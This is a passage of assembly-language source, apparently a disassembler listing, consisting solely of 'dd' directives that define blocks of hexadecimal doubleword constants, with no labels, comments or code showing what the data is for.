		dd 44EAF9B6h, 36C0212Ch, 92C030BCh, 7F566704h, 0E5C0B88Dh
		dd 0CD4BAECh, 123D635Fh, 86F8B069h, 340FA62Ch, 822384CFh
		dd 0C1581136h, 44607834h, 0FB9C6671h, 9FCC0019h, 4F9A7F93h
		dd 3E0B457Ah, 1067095Ch, 0C0240D98h, 0EBEE8999h, 580199ACh
		dd 396AAE1Ah, 33D4559Dh, 8AC0A9EDh, 4E4034h, 894D8F26h
		dd 4916A7Eh, 10A8B64Ch,	504933EEh, 0C1D387h, 0DB8D9B42h
		dd 1BAE4A13h, 0AFD15420h, 2429C349h, 9CE4FB8Eh,	0AF009C78h
		dd 2E7EFC82h, 20E476h, 0D9CE608Eh, 0A95428D4h, 0C7DC3E01h
		dd 0E78A242Ch, 31AA2C41h, 0D0AF4F10h, 0E446A929h, 8B160B11h
		dd 589800DFh, 0B3B4F492h, 43619D00h, 0A5AC0FC9h, 281909D6h
		dd 4A018E77h, 0FCE9E82Fh, 0D0A406A3h, 4F82A0AAh, 546080AFh
		dd 88245EADh, 4CBB3014h, 0B0444074h, 4E102F81h,	0D0E31A90h
		dd 8D6556A8h, 14816718h, 0C989E963h, 58090FDFh,	6C31E484h
		dd 1F5F5803h, 61586E1Ah, 13FF3C41h, 0B4C8FD09h,	0B648A00Dh
		dd 0BBF6C080h, 0BD4325DCh, 0FC01E52Eh, 7600D091h, 0E33C6B60h
		dd 0BC009618h, 0E9DC213Dh, 0A3F4CAh, 9D3B2C8Eh,	684DF94Ch
		dd 842CC2Ah, 0D0C2D805h, 0BC2222C0h, 8AB72007h,	0CB0B7AAFh
		dd 841B77EBh, 0DB4043E0h, 6FCE49DDh, 2C8A7D00h,	0A993C55Ch
		dd 6C0C2590h, 0ACC84090h, 0C9378900h, 0FE736459h, 0BAAF0819h
		dd 96853DF1h, 0A802542Dh, 942A2B8Fh, 2C1EC80h, 0B04B6015h
		dd 52C0035Fh, 54A8E289h, 5A0040A4h, 9672394Ch, 1A34FB69h
		dd 2113BC43h, 482C64C1h, 0D491A3B8h, 6D7CA805h,	9B2AE840h
		dd 257FB7C5h, 58A39324h, 88C2CF17h, 0D128385Ah,	94F85CC4h
		dd 8714DF50h, 878CA858h, 3D91F18Fh, 75E08591h, 8295190h
		dd 0A05C24D8h, 58D8028h, 43D60214h, 0AF4C04B6h,	0A26CC466h
		dd 0C4D90134h, 41922607h, 0D032BBE7h, 7670B47h,	0CBABB6E8h
		dd 0F4006B42h, 189060C0h, 0A2FDBA00h, 6AB695B7h, 974D01C6h
		dd 4E1E8012h, 0F4F02019h, 40B88E56h, 0B70EBD6Ch, 49747085h
		dd 0B9D8A022h, 438EDDADh, 907D2129h, 0AEE050DBh, 0F243044h
		dd 0ECE52959h, 2C805449h, 0AF0C66C2h, 6D3F5142h, 4C203BAAh
		dd 3FC07416h, 255F7047h, 5A359B00h, 56DE7B7Fh, 0E627224Eh
		dd 0DA915700h, 89D393FAh, 348202FFh, 0B6A13C2Bh, 2713B051h
		dd 0E0DE3823h, 25D67CCh, 16A03279h, 88CB958Eh, 0C5F503EBh
		dd 329813A2h, 52047034h, 9CC6C149h, 43886977h, 81558B7h
		dd 38A30EC3h, 98613382h, 0F8011E5h, 0D284C72h, 6DC800A3h
		dd 7583C5DCh, 983CAAB0h, 8DA400DDh, 955DEFA8h, 0AC5C047Ch
		dd 0A41284B7h, 416B07BCh, 67CE0F79h, 6D605AB4h,	20EF9Dh
		dd 131DA8Fh, 0AE781D87h, 0D3CBF301h, 7FD8A451h,	8860C740h
		dd 0A5E10953h, 9069B144h, 4C632Bh, 1E081AACh, 3E37D1h
		dd 0E3EA5BD9h, 9473659h, 64445A24h, 0D113E711h,	5FE461B7h
		dd 6D08CC1Dh, 51666Fh, 815B2CAEh, 0DEB50507h, 5E5E01EFh
		dd 180AC208h, 8459F3B8h, 33A01D01h, 0E45414D6h,	6DC9FC30h
		dd 255900F8h, 0A191EF42h, 0E17EAB87h, 4D00AE98h, 0E7CB225Fh
		dd 9B3BAFFEh, 20D696F0h, 0C877B30Ch, 2E682307h,	1883FFF7h
		dd 0EB31A705h, 460064Ah, 6A8C99C3h, 11A1F96h, 0E3045565h
		dd 1CE82226h, 3DAC90DAh
		dd 8CCA013Ch, 18EAB4CDh, 0B0480821h, 3B7401CEh,	0E7BABD4Dh
		dd 75844086h, 0FE75A160h, 0A2002070h, 2F6E59CDh, 811BEDh
		dd 543F1590h, 61B5BA05h, 0E2F72900h, 7AF58EE8h,	4B99035Dh
		dd 0BEB77FADh, 0C9B007C9h, 2BC503Ah, 630075B8h,	84A42486h
		dd 72110406h, 15F90034h, 0AB579555h, 5E00B518h,	5BA35C74h
		dd 6797EBDh, 25C048A9h,	291F68F6h, 69C00B8Fh, 59604DAEh
		dd 2EB60077h, 132DAF08h, 7254A461h, 140CE7E4h, 2C25D8B5h
		dd 20B04B21h, 2DDD7FDCh, 7800117Bh, 0FBEE22D6h,	0EF7C097Bh
		dd 0F701A872h, 155DB7A4h, 7F4BF8Fh, 0FC59A17Fh,	5AB896C0h
		dd 682A4CEEh, 84363C50h, 0D5EB203h, 0D754BC8Bh,	8CD8D85h
		dd 29813AF1h, 230F2A41h, 0C2B6EC6Dh, 6C178807h,	0C8B17AF1h
		dd 18602E2Ch, 1E3B4045h, 0D0552602h, 41DC37A8h,	2C62D644h
		dd 986F3F00h, 0CD68BEFCh, 3772E9FCh, 3CD75D01h,	5B9B143h
		dd 84D1D464h, 66AB8F00h, 409F7C98h, 0D66F079Eh,	4FCD4C3Bh
		dd 5822EC0Bh, 0D233A6Eh, 22B90025h, 2D806F77h, 64002771h
		dd 6CC1048Fh, 4ADDCDFBh, 164C22EBh, 0A11725h, 48D3805Ch
		dd 4F24E008h, 66B7034Ch, 6A3D091h, 0CB6A2100h, 0C024AF41h
		dd 6DB601A4h, 0F920A28Dh, 0AE8D403Eh, 540BAB51h, 8F18BA22h
		dd 2DA700A1h, 9DE7F76h,	150EF527h, 0AD1A0000h, 6DF53E6Ah
		dd 0CC74005Ch, 67F0E4C5h, 40C025B5h, 317440Eh, 4606BA4Ch
		dd 4758F900h, 1F89EEA9h, 0A6E70095h, 6AFF53A7h,	6F16A193h
		dd 9841BD0Dh, 4259BF67h, 4EA33E8h, 600EC5B6h, 5F00C7F5h
		dd 0A58BD600h, 8D2D5D97h, 52389001h, 79F802DEh,	5676E38Fh
		dd 0EDD7D240h, 0A6AEAD00h, 3C2286ACh, 48B1E8ABh, 0EC00D04Eh
		dd 14157D7Eh, 0FE0001A0h, 0E363198Eh, 51BB2CDh,	241ED38Dh
		dd 4700C03Ch, 0FD5C433Dh, 0E8EC000Ch, 220F3EDAh, 1F8E1C7Fh
		dd 0BF6680A1h, 6DEFCE45h, 71B68401h, 0CF072AA7h, 901630h
		dd 0F5E4D96h, 92821242h, 8F5D4F02h, 0E2C8F683h,	4244C6D8h
		dd 7F3E90h, 4EEBFEBAh, 2454173Dh, 816CA6B9h, 0E942966Ah
		dd 35882031h, 6120E098h, 48184A28h, 9692724Ch, 0E3C7430h
		dd 952E00BFh, 0C77CD134h, 0A2061ABCh, 0B0447E23h, 7C9889h
		dd 0CB8DF3D0h, 452696A1h, 882CACF0h, 0D60C8419h, 3BCB2909h
		dd 268049EDh, 4C673D28h, 0F30021A3h, 127AAC1Eh,	0A1BE75h
		dd 0F82A8F49h, 0B5C08246h, 0AB246201h, 2220F9A9h, 215C2E0h
		dd 0E71AB260h, 6091F1h,	24968E40h, 0D430A816h, 1C78F761h
		dd 84C806A1h, 0D2270Ah,	0B0AD5C10h, 0EF67924h, 0A6424A7Eh
		dd 0D3AA050Ch, 7AC3A718h, 293A6728h, 3AB45E9Bh,	0DB91802h
		dd 0DB601AA6h, 0CE2EB630h, 0B3005788h, 0B7C7068Fh, 0BB7CB847h
		dd 41916Ch, 49762853h, 302C984h, 950A6A8Dh, 86C83EFBh
		dd 43509F7Dh, 744BBB0h,	41545B09h, 954E96B4h, 785DE1F3h
		dd 8A100D4h, 0BE5E05C0h, 881F507Fh, 0E9330057h,	4E951D8Ch
		dd 54B82808h, 60270D44h, 78C2D1EAh, 327D088Eh, 0F601A49Ah
		dd 0C0897621h, 0F7E0B05Fh, 1F981641h, 0ACE40F4Bh, 0C6E14063h
		dd 1528C4CDh, 29695808h, 950EC000h, 0F8B95A0Dh,	0B827C707h
		dd 80B3CB75h, 0FECE2403h, 859551Eh, 0C4ADC82Ch,	8B88CC34h
		dd 0B7E27B00h, 25C491Ch, 0D97594h, 9F9A0D33h, 66DBC3A8h
		dd 8EDDCA9h, 290971FCh,	4A42D6Dh, 818941B8h, 29AF72C0h
		dd 68078B98h, 7AC370A4h, 0C8B75C06h, 20282A1Bh,	0AFA8C162h
		dd 9224224Dh, 77F20D2h,	0A5F341C0h, 1A0DEBFh, 64876E5Eh
		dd 3DBB08B7h, 8E0DEACh,	0DF9B62DCh, 0CBF42004h,	808C00C5h
		dd 1C980090h, 855D796Dh, 68BE78D1h, 4938060Ch, 0E3B52EB4h
		dd 0DA430089h, 14DCEE49h, 1DFD2000h, 1E18FBEFh,	87E4AAFh
		dd 0FBE4A498h, 59196E40h, 9500C8F4h, 80076103h,	0F2AD75D5h
		dd 4D8E0704h, 19651BCh,	39B79B5Ah, 408D4A4h, 921D7CCFh
		dd 9537C0C0h, 0DB3E2EAFh, 9F17093Ch, 0B8B03450h, 0B7C0C49Ch
		dd 0F068DD6Fh, 6C4299Bh, 0F56D07C4h, 250CE1BAh,	0A0507C88h
		dd 60E8928Dh, 0A6326C09h, 0CB3C532Bh, 1AAF9266h, 0DEB04421h
		dd 1B2E5440h, 89DCB6B7h, 8848B644h, 86EA0618h, 96021A70h
		dd 436155AFh, 0B0F452A5h, 0A95078Ch, 0F0549063h, 0FB1118E5h
		dd 0CF4A30F9h, 4D0913E8h, 6906C2C5h, 44D09014h,	0E2911DAEh
		dd 7E7C2FCh, 9B400AF4h,	0A50159C6h, 0EC5F49D4h,	0F5411008h
		dd 0BC38C383h, 0FE379180h, 5B00187Fh, 0EC61632Bh, 5978F1Ch
		dd 433553D6h, 2780A4BAh, 9DF1D560h, 7D64E4Ah, 0B9F816BFh
		dd 33B140F9h, 0F8C0ADEBh, 27B61966h, 94B0A2h, 0A856F559h
		dd 0F98EA630h, 0DB7FAE0Ch, 795D05Ah, 71B7B682h,	81D6A097h
		dd 0C73E071Dh, 92D7071Eh, 8DC236CDh, 3C4817Fh, 9C74157Ch
		dd 0FE7092Fh, 0C84E2BAFh, 1F161144h, 0DF54A637h, 11A46497h
		dd 8D801FE7h, 80B9A849h, 5C87AF7Ch, 0AD40C656h,	157BC023h
		dd 882C38FBh, 9D310F5h,	69426908h, 3841B8D4h, 31BE5109h
		dd 59843324h, 0C1E03424h, 0AF0B660Ah, 5F1D3050h, 0E314916Dh
		dd 10A204h, 1300F65h, 5A51A3BBh, 0DA80223h, 9C710987h
		dd 0A8888F93h, 0A380C1ABh, 0CA86FF1Fh, 0D57D1CE0h, 8F437800h
		dd 1FA8D2Ch, 70B500E8h,	2256B858h, 371FF44Fh, 2EC94CAEh
		dd 0F7C00752h, 0CC6D36C1h, 49A438E4h, 0D082A4A8h, 0CC5637C1h
		dd 804BED44h, 0AB86F807h, 6CC09CE8h, 7EBCB113h,	96D3901Ch
		dd 88EB448Ch, 28A0B6D1h, 6045094Fh, 994F8E2h, 8CD8AD1Ah
		dd 1BB06480h, 39600DEBh, 4FFCAF31h, 40AF88Fh, 5BADCF85h
		dd 0E608222h, 0F0BD2421h, 2C80D47Ch, 0FF3F5A9Eh, 0AF07DE0Ah
		dd 0A50B0854h, 4BAC100Eh, 550A00BFh, 1A2A3C6h, 0B800EFC5h
		dd 0B3D021D7h, 16792959h, 2CBB43CEh, 160BB184h,	0E57494EFh
		dd 0F0132D74h, 463750A7h, 961F16B7h, 43426124h,	0EC7E3FACh
		dd 560927C0h, 0C03F109Eh, 28DFB1CAh, 818BD427h,	16005C02h
		dd 0B086201h, 28350D05h, 0D4F445C6h, 0B78D1C4Dh, 323F96D0h
		dd 2911D538h, 0CC9DE610h, 0B0488F04h, 98B01E62h, 0AAF8C4DFh
		dd 0FE10DCE9h, 0CD86E400h, 677AEA52h, 2917175Bh, 82A40838h
		dd 0B89118A8h, 29D99860h, 6D3D0142h, 340BC4EFh,	2D546CDDh
		dd 70A4085Bh, 0C55E1180h, 84A479h, 38F4156h, 4D5A86F9h
		dd 0E9E89614h, 2C5902A8h, 0ABDAA343h, 0F74801C0h, 9C472969h
		dd 5C746A79h, 96144004h, 0DD0037AAh, 5E18BC1Bh,	0E844326Dh
		dd 1D9A7FA2h, 1830A009h, 904E115Fh, 0DEF78106h,	74189B92h
		dd 5E78866Ah, 71C0582h,	9218C8h, 19E179A8h, 0D0B19635h
		dd 119BD651h, 62604EECh, 0CB82674h, 38B27912h, 17511A88h
		dd 924EBAE4h, 7334A21Ch, 5CC70078h, 7582AD7Bh, 4FDFA12h
		dd 0E7BAECC2h, 59689820h, 0DCBCA9D0h, 862C9544h, 98B2C200h
		dd 61B458F0h, 2CFA02ADh, 0FCBDCBBBh, 6C40ECC4h,	54553009h
		dd 0F7AE4339h, 0FC1118B9h, 94505F00h, 536DD1ACh, 3FCFB31Fh
		dd 6CAE4107h, 39D5C29Fh, 10886D93h, 0EBBC1395h,	8924A805h
		dd 9804C4B4h, 90A440Ch,	2C606951h, 66E180ECh, 0DDB59Ah
		dd 7CBF97F7h, 0CFADAF7Ah, 0C30CDA58h, 83C03BF6h, 0B7DC889Ah
		dd 0FC65F1C3h, 0A21405D9h, 0A8BC0010h, 0FEA20B93h, 4AD775Bh
		dd 0F9CCCF01h, 6AC70Dh,	23904F33h, 0CD66719h, 0FEF9EB41h
		dd 39A989ECh, 12F678BBh, 0DC954ED3h, 2A454FC0h,	1C32B2D5h
		dd 88FAB030h, 0DB3CD08Fh
		dd 0C1540068h, 2CC7EF1Eh, 690266Ah, 0ED93006Dh,	45BF8635h
		dd 29540B00h, 0EED1B5D3h, 0E7D400EFh, 0AAB158Eh, 0B600A849h
		dd 0F6AC4F79h, 7F53F92h, 4A9871B5h, 2F1041C9h, 0A25AFC90h
		dd 0D3461113h, 7B3D8C8h, 0F1FFFE7Eh, 1FE160D8h,	0E5008176h
		dd 0AB4EAE95h, 0A99C573h, 590C1DC6h, 26F44208h,	0CC00AC64h
		dd 0A4700E3Eh, 0A15E0178h, 1868670Ch, 0D67F2F77h, 6D0F84A0h
		dd 5000B2CFh, 946B7895h, 0C0148Bh, 3B1EAD3Fh, 0B80D5CC5h
		dd 52543712h, 332B0D8h,	0BE57B019h, 95A93648h, 0F5CED41Eh
		dd 0E8C708D6h, 800B40AAh, 8670201Fh, 485E2EB6h,	0E794D4F5h
		dd 0B67EB17h, 485CE30h,	2628D2E5h, 0D400C4DAh, 89345648h
		dd 7DB89Ch, 68E02B76h, 0F88711E5h, 4AD45548h, 16C9A08Bh
		dd 6973B814h, 0C0420D88h, 68C44F99h, 0B9264080h, 55074584h
		dd 2580744Ch, 175B5FC6h, 8B5A5463h, 52837FB8h, 0D630B449h
		dd 0AFF02F11h, 2BBF770Fh, 9504367h, 0E0390452h,	0ADB088DCh
		dd 0CB8DE0C4h, 45B0B64Ah, 0A07080F2h, 0F01F7660h, 7B471986h
		dd 82091A8Ch, 24E01320h, 0EE6841E8h, 54F8B8B6h,	6A51093Dh
		dd 9804AF77h, 8250F828h, 5936D86Ch, 661F001Ch, 0D02B07F7h
		dd 925DC13h, 1E0068E2h,	435F16AFh, 0DF4FB9B0h, 0E4AC5449h
		dd 278742A0h, 0C0AC92D1h, 0E3BF0E38h, 7B67EECh,	25FA7970h
		dd 0BCA31F8Fh, 35E84BF4h, 40ED9078h, 77D8B508h,	98CC29D7h
		dd 3D2004Eh, 1618276h, 1D02E2C6h, 4D1592FAh, 5AF84037h
		dd 2787E27Eh, 0EC6018A7h, 0D3F42CE6h, 378E2618h, 79861748h
		dd 225F3DABh, 0B63B00F2h, 788A0D63h, 0CF0CFEACh, 20BD5D32h
		dd 0C0E779C5h, 331E9440h, 658406Ch, 0A0528064h,	1CC6CD0Ch
		dd 4530454Bh, 36B12657h, 8C8888ACh, 7E4E1EEFh, 0DEE088h
		dd 969566D5h, 9DE8C3D1h, 3D0B0300h, 0F82D9A6Fh,	0F09028C2h
		dd 0A1BE03E2h, 0F5EC330h, 91C4FFCDh, 68F76CF0h,	20B411EFh
		dd 0AF032E14h, 446469A0h, 4AC25D07h, 0A7D7F4EAh, 7D1C2AC0h
		dd 0DFD80ED5h, 0BBDD198h, 7846B153h, 0D35B2414h, 82B4ECh
		dd 0D1720DFh, 0E49A1CE3h, 0EDFE34B0h, 95032B1Dh, 14308A53h
		dd 2D745FB7h, 0B494EC7Eh, 219D097Eh, 0B9FE96C8h, 0B0B0F6E0h
		dd 87D2817Bh, 98087860h, 80C012ECh, 0AF1CE428h,	3FD52E02h
		dd 0FA4E519Fh, 7C8858ACh, 0D069B6CBh, 7C0080Ah,	814A7E56h
		dd 0B87880AAh, 0A4A0EFDEh, 0CC0939B7h, 791A7F9Ah, 7BA30084h
		dd 89060A9Eh, 0B0DCD300h, 0E9599B24h, 4E3C0B2Ch, 0C46441C2h
		dd 90C36024h, 9628C23Eh, 0D1B0F48h, 8C970FAEh, 230ECD84h
		dd 0C0514058h, 0E1D454E7h, 3BB2FEFFh, 8F80DBBCh, 17978D1Eh
		dd 577C0D5Fh, 5D7CA477h, 0EF902713h, 0E70028E2h, 0DE57DDEDh
		dd 0F3004628h, 0ACCBCCFDh, 257612F8h, 9466BA01h, 9DCBE4Ch
		dd 71CC056Ch, 8F2441E4h, 8BE04CE6h, 0F089DD00h,	7C7E477Dh
		dd 355603FEh, 5EE34B3Bh, 0A4D69800h, 1A26AE77h,	0D450302Bh
		dd 1B5F5518h, 48B6871Ch, 0DADCF580h, 330231Eh, 0C4B52021h
		dd 0EEF2E142h, 0E110E375h, 1880EDC2h, 182872F7h, 932416EFh
		dd 443C144Fh, 6171AFh, 57FF9541h, 0C16FA291h, 5E64C64Ch
		dd 0D370A003h, 2404AF72h, 88D7A0BCh, 0DA00F894h, 0B9A333F4h
		dd 71F773A2h, 5579244Eh, 8C41CB84h, 7228F95Fh, 8E4A01D4h
		dd 0BE6D5EFh, 7E944E60h, 477F1356h, 0AEFE0219h,	0A8F83CB7h
		dd 0A46D7602h, 0D162B096h, 0BB43027Ch, 0B47C1898h, 3F178847h
		dd 7E3814C0h, 8284B1Fh,	6A804120h, 0BD433CD8h, 39F26345h
		dd 8F90A35Ch, 0E78F928h, 0F3B83Fh, 0DF9850FEh, 0B53820h
		dd 0CFE2B97Ch, 2A188F9Ah, 93366B1Ch, 98B8D589h,	0B6AFB0h
		dd 9C1C2B67h, 0A10FA9BDh, 0E9012001h, 225EB0A3h, 0C0A8242Fh
		dd 8ED37D7Ch, 0E1041E00h, 0D6B5E4CDh, 0EAA350D1h, 311678E7h
		dd 8F119B6Eh, 96144006h, 1E5B8CD3h, 44EA6C08h, 25B74825h
		dd 0A709A444h, 1E72E69h, 0F41A1371h, 334A3C4h, 5ABF3D2Ah
		dd 0E9B86F64h, 390E6AB6h, 4CB2215Fh, 6F51022h, 13B90E67h
		dd 1A1259CCh, 8CD0D6E0h, 0F6A1E41Dh, 8EAF0CAAh,	0B618C88Dh
		dd 67E30C5h, 0A78C7980h, 31B7834h, 94DFBA9h, 0E2CCAF9Eh
		dd 0AA5B03C4h, 0A8553AA3h, 418A0CCh, 0B20DFB15h, 1060B844h
		dd 3EC8EF94h, 0C4464180h, 4FD49EDBh, 0BDCC01B6h, 0E80597F0h
		dd 2D00B19Ch, 0A0E147C7h, 25B918DEh, 8464A615h,	0F4738B01h
		dd 6A44F96Bh, 650C4B6Eh, 133ED059h, 8C0994AEh, 54F96Bh
		dd 3ED0590Ch, 5E00F23Ah, 0EAF8241Bh, 2517B64Ch,	8307254h
		dd 7F4DD61Eh, 68091660h, 821180B3h, 0BC864FBBh,	43374420h
		dd 0B816AC00h, 80E7A68Ch, 0C0949891h, 6FF6E9E0h, 4E9831A1h
		dd 0D8092A3Dh, 19EA3270h, 0ED06266h, 16899F34h,	4450A9F7h
		dd 965344A4h, 4012D73Ah, 44930007h, 0A5A64FC0h,	0B9045A7Fh
		dd 0B62E5FA3h, 198088E8h, 0DACF342Fh, 7CBDAE00h, 94A34C15h
		dd 2E5E0029h, 0CEDDF492h, 995F518h, 0A4D124h, 16C93E81h
		dd 702CE72h, 0DB489CAAh, 0F40D60D2h, 0F0410015h, 535FE59Bh
		dd 1000D7F6h, 297F33B4h, 183EE01h, 5D9616F8h, 33D1A058h
		dd 38110144h, 876C5F1Ah, 7F3D940h, 0AAB00516h, 0C06AE17Eh
		dd 0D20E0690h, 684E9C14h, 35084190h, 80382860h,	848ADF1Ch
		dd 485B074Fh, 7145CBAAh, 3DA786C3h, 2CE705C8h, 0A8243BAFh
		dd 5B83D8F8h, 0B0B09415h, 4B0093E8h, 264928E7h,	5F6A6668h
		dd 30343481h, 8729418Ch, 960F1F00h, 0CF2A0182h,	9890B8h
		dd 971133BDh, 6CE2B174h, 91B7D07Bh, 1C208EBCh, 0D870901h
		dd 64C471B5h, 260B2D40h, 0EC092CCh, 0C08A1E54h,	3811E4h
		dd 9CB56497h, 4840293Fh, 884AA075h, 0E6B0FE80h,	0C4160B01h
		dd 0D3C0E688h, 4D2D9C0h, 7BDA948Ch, 0C038EC14h,	0F76FE280h
		dd 8ED51435h, 93140829h, 2A1CC9D3h, 0F1CBC0B6h,	5C6215EDh
		dd 28CA700h, 8107695h, 56662D91h, 73012C64h, 59D9A963h
		dd 2C3BA0A3h, 0DB47C500h, 26D3861Dh, 997D6050h,	2B04B775h
		dd 0B22D3489h, 0EE1548C1h, 0AC2E0880h, 0BA5D28CBh, 267F893Ah
		dd 4F16F7F3h, 0EC5E1888h, 0BF350095h, 13CC41DFh, 285A5DA3h
		dd 0E0B14440h, 7598F8Dh, 412A7774h, 0D458C03Ch,	1097D31Ch
		dd 21BCBCh, 9EC4B396h, 6D66CE1Dh, 7F0DCA00h, 0C3AF075Eh
		dd 5C2408F7h, 800235E2h, 0C016B88Dh, 1876Ch, 4D939566h
		dd 0F38AAD0h, 5438A297h, 68506018h, 70968944h, 5F88DFE0h
		dd 75BE0104h, 0E4519D45h, 79C602Dh, 600921C6h, 32E00C71h
		dd 66604E93h, 2671140h,	9A33C2FBh, 3636C09h, 6B4F610Dh
		dd 243B48D6h, 0FCE818h,	0AC447FB0h, 388D7E1Ch, 430CEA92h
		dd 2771C8BAh, 0A7803C94h, 0C4386482h, 84B85Ah, 0E7CC8BEAh
		dd 20EF0518h, 3883658h,	97BC8914h, 2EC0880Fh, 871A01B7h
		dd 0F75F41A0h, 75606029h, 19F0D57Bh, 33236E24h,	0DF7A0Bh
		dd 0F4E82464h, 4CD5027Dh, 54AFEF01h, 0BE873240h, 0F720319h
		dd 1D112ED8h, 855C60B8h, 0AEE5C49Ch, 6904ECE2h,	0FCC49B42h
		dd 58348030h, 0FACE6Fh,	9FDB652Ch, 707FA859h, 4DC9895h
		dd 9C540E8Eh, 99401F57h, 0B77F66ABh, 0C8C3D024h, 98F4F40h
		dd 0CB411C0Eh, 438B47B6h, 0A55D847Eh, 4C20FE78h, 1804C0h
		dd 801D1485h, 5E1E2A6Fh, 66A51201h, 0DFBC2C76h,	3764213Bh
		dd 6C4460A4h, 2C5611F7h, 1D167463h, 0C6A0007Fh,	4A068087h
		dd 6E91A500h, 891BE827h
		dd 0E72D0490h, 0C0F67C83h, 0ACE28584h, 8FDB2C00h, 0DE68F879h
		dd 870701E8h, 9124902Eh, 167C2DE1h, 0C0F747C2h,	65E19607h
		dd 0AB02EEA8h, 0A26042ACh, 2000D247h, 15C823E8h, 0C2C4D622h
		dd 2D8718B1h, 6098F929h, 3DEF0F8Fh, 8CD92E00h, 0C4FF1EAEh
		dd 617124Eh, 3D7CE765h,	0EE2500ECh, 0BA51DD58h,	7BF30020h
		dd 27462F0Eh, 0AD36D8C7h, 9831E82Dh, 0CA1E4ED0h, 41C050E4h
		dd 0C8FCBC2Eh, 6BD6085h, 300000BDh, 6304BBEFh, 8E07367Ah
		dd 67A855E5h, 447D1190h, 0BE1E0943h, 9446C154h,	0D4123CA1h
		dd 0DAFCDE89h, 76AA7E03h, 5516B0Ah, 0FFBD4359h,	6CE6DFh
		dd 19B03453h, 2555B56h,	6E0832E1h, 40765A88h, 703E1E92h
		dd 0CCC2D017h, 866DACh,	0A01D5E01h, 2757B81Ch, 0B7725901h
		dd 0FB8E7F4Dh, 80DC606Bh, 3CBEBC44h, 0FC097C62h, 0FC102778h
		dd 71011F91h, 214F5466h, 0E447195Dh, 0F144B200h, 0CEE82Fh
		dd 8A169B92h, 89B85D90h, 10125A00h, 0A707217h, 7831496Ch
		dd 0F3B94313h, 2C2228h,	0EA5C35D3h, 96A89586h, 67309A66h
		dd 2A8805F0h, 40B6D8AEh, 71631B18h, 8000ECA3h, 0AFD94EC0h
		dd 5C863F2Eh, 5800059Fh, 0F6B74F97h, 20014CEh, 0CF26AFF5h
		dd 4205EB6h, 906EFBFh, 0A0A4EC5Fh, 0EE9F7C95h, 0BAE50BADh
		dd 7C81EED1h, 0C0C590F2h, 1C02AF32h, 1DBB448Fh,	0FDF4A4ECh
		dd 9356D240h, 9003AE5h,	0F13ED943h, 1F8B71D1h, 444AFCB5h
		dd 0C227934Fh, 84A7EBE4h, 0C1F4B466h, 0DEACD8h,	12DA44B0h
		dd 31C6D895h, 0EC19088Ch, 0F600B1AFh, 9A986A32h, 149FB2Ch
		dd 855AD7EBh, 4C95D54Ch, 0F8E65CDCh, 8F65F03h, 2C5693DAh
		dd 42502778h, 6FC35909h, 0B3D1B9C8h, 737ED70Ah,	4911D878h
		dd 788884Eh, 0BF222400h, 48ABFB42h, 0BC160588h,	8CB257B3h
		dd 43882D44h, 0DCF64BAFh, 58000818h, 8DFCA45Ch,	7471A0h
		dd 9BF6C88Eh, 7AFD3BA7h, 51541A0Eh, 5C2502C3h, 0E068D40Dh
		dd 977BAD6Eh, 0BB04AB00h, 85BD9B78h, 20845E02h,	7B9C9A10h
		dd 0D4C34400h, 6EE77649h, 5AEE8EAh, 0E43BC5F5h,	0FDB8040Ch
		dd 0C4E252ECh, 4EF4DD04h, 1BCF2AEh, 0F3D0D917h,	4457B989h
		dd 2401E70h, 25F2005Ah,	20307B5Fh, 59EE08B5h, 4E7D0414h
		dd 0D4641E8Ch, 98696B8Bh, 70116100h, 885D4E95h,	0B4B0273Ch
		dd 0FD0842E9h, 7FB79440h, 5CC66A01h, 0BD34B016h, 0F4178C8h
		dd 4AD8B60Ch, 0E006C01Ch, 388F903Ch, 8D099C9Eh,	0B4448A15h
		dd 0A826EC68h, 1E89E0BFh, 41C1FEh, 0A6552A7Bh, 2EC35EAEh
		dd 941548h, 84BCA031h, 9106EE66h, 93CA8070h, 38C1D04Bh
		dd 840762F8h, 0E91BA7D8h, 8DCF1ED0h, 0AED63158h, 2C5409C9h
		dd 6AB683A8h, 0CCFCE456h, 5323AA11h, 9B060058h,	88200DCEh
		dd 82A20681h, 3085BA95h, 2EC222h, 963C1A67h, 0B67F4CB8h
		dd 4FDF7D0Fh, 7EAF25C4h, 0C9B0E081h, 0ECC322Bh,	7D27022Fh
		dd 400C564Fh, 1A98EA55h, 0EE66E39h, 2B62ADE5h, 65988085h
		dd 950D2CB0h, 0CF83A4A1h, 0FBBFC0B8h, 908D4C00h, 0D75D576Ah
		dd 5EE76D3h, 0A410A834h, 1718BD2Eh, 0E0345509h,	44A4CC84h
		dd 0D2E8015Fh, 2E2CBAD8h, 24A3126h, 8470B808h, 36A4C44h
		dd 6C6E509Ch, 58B90A4h,	7B0B65B8h, 253B2E00h, 0D5143D18h
		dd 0A25A16B6h, 44E4E062h, 64D0A44Bh, 1FA3FF8Fh,	0C5A8A03Ch
		dd 0C1A5CB6Ah, 0A5541728h, 880E5A8h, 0BC40E95Fh, 2E92CBF3h
		dd 115CCAD3h, 42B60E33h, 0C2C585A4h, 8075C409h,	0B1FDDC72h
		dd 4E270254h, 98094293h, 0D300DC56h, 0ADF489AFh, 78557C17h
		dd 32714Fh, 69C15A0Dh, 0EC5EC825h, 0EF150E00h, 0A1209710h
		dd 3BFB0028h, 0C97429CBh, 241648E0h, 6030D594h,	13895214h
		dd 0BC574B6h, 0E8D018DFh, 5D537F16h, 0A50F3808h, 3D21A018h
		dd 6403A501h, 5CFD82C3h, 0A2CEB480h, 0C13BFED2h, 0DEEB1212h
		dd 0E753D4E0h, 0B0419612h, 218631Eh, 789F38CBh,	48106039h
		dd 0BE920042h, 5268069Ah, 74256795h, 7140E47Fh,	0D9A7007Dh
		dd 0EADF65AAh, 0BE00F725h, 8C633A9h, 77C0FAC1h,	0DB4E0071h
		dd 117792EBh, 9B016AEDh, 45F4B93Ch, 0FDEC1997h,	0B5390220h
		dd 42DFC2DDh, 2309F480h, 0EF4CA39Ch, 0A8DA2875h, 28043B04h
		dd 44049636h, 276CE4A2h, 90809496h, 0DB7C918Eh,	8DE73770h
		dd 0F0EC606Eh, 0A712C89Fh, 6C30B4DCh, 4C185FB0h, 32254964h
		dd 71BAE890h, 0CAA39D01h, 10B6F152h, 8C729C71h,	0A9AAA07Bh
		dd 884C00D0h, 562A05A2h, 662A23FBh, 7F0024E1h, 7641457Dh
		dd 1254E3EAh, 37CAC9h, 0A685C704h, 84128068h, 0E805E79Ah
		dd 54F86E66h, 0E88E6AC4h, 910EE8A8h, 0D6560074h, 550C0D37h
		dd 3140389Eh, 1E7838AEh, 0DF01BB25h, 3DC9C133h,	5B4668Eh
